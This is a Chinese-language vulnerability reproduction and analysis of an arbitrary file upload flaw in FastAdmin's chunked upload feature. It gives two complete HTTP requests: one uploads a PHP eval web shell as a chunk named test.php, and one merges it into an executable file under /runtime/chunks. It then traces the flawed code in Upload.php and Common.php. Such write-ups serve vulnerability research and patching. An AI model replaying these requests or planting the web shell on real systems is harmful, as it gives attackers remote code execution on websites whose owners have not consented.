环境搭建
https://package.fastadmin.net/full/1.2.0.20210125_full.zip
开启分片上传功能
fastadmin\application\extra\upload.php
访问/public/install.php 进行安装,随便填就彳亍
漏洞复现
先随便注册一个普通用户
POST /fastadmin/public/index/ajax/upload HTTP/1.1
Host: 10.219.65.235
Content-Length: 416
Accept: application/json
Cache-Control: no-cache
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3SuauvxABx2CddBk
Origin: http://10.219.65.235
Referer: http://10.219.65.235/fastadmin/public/index/user/profile.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: PHPSESSID=554u1004seufn5fsknm0r1v2pi; think_var=zh-cn; uid=2; token=e80426b9-2233-480c-84cf-8d0bedafc333
Connection: close
------WebKitFormBoundary3SuauvxABx2CddBk
Content-Disposition: form-data; name="file"; filename="1.png"
Content-Type: application/octet-stream
<?php @eval($_POST['penson']); ?>
------WebKitFormBoundary3SuauvxABx2CddBk
Content-Disposition: form-data; name="chunkid";
test.php
------WebKitFormBoundary3SuauvxABx2CddBk
Content-Disposition: form-data; name="chunkindex";
0
------WebKitFormBoundary3SuauvxABx2CddBk--
上传成功之后,会在/runtime/chunks
下保存文件 test.php-0.part
再发送数据包,合并分片传输的文件(这里记得多点几次)
POST /fastadmin/public/index/ajax/upload HTTP/1.1
Host: 10.219.65.235
Content-Length: 42
Accept: application/json
Cache-Control: no-cache
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: PHPSESSID=554u1004seufn5fsknm0r1v2pi; think_var=zh-cn; uid=2; token=e80426b9-2233-480c-84cf-8d0bedafc333
Connection: close
chunkid=test.php&action=merge&chunkcount=1
可以发现我们的马已经写进去了
访问/runtime/chunks/test.php即可
漏洞分析
跟进代码
最终定位到fastadmin/application/common/library/Upload.php
在上传分片的时候对Content-Type做了检验,必须为application/octet-stream 再将chunkid和chunkindex与.part进行拼接得到文件名,这里也解释了payload的构造咋来的
接着就是合并分片文件的操作
继续跟进可以发现application\api\controller\Common.php
里当传入参数action为merge时才会调用merge()方法
从这里也可以发现这里对文件内容并没用做任何限制
在跟进到merge()方法
将chunkid复制到$filepath接着遍历chunkcount,将上传的分片文件写进chunkid名字的文件里
下面是对上传的文件进行检验,可是文件已经写进去了,再检验也起不到作用。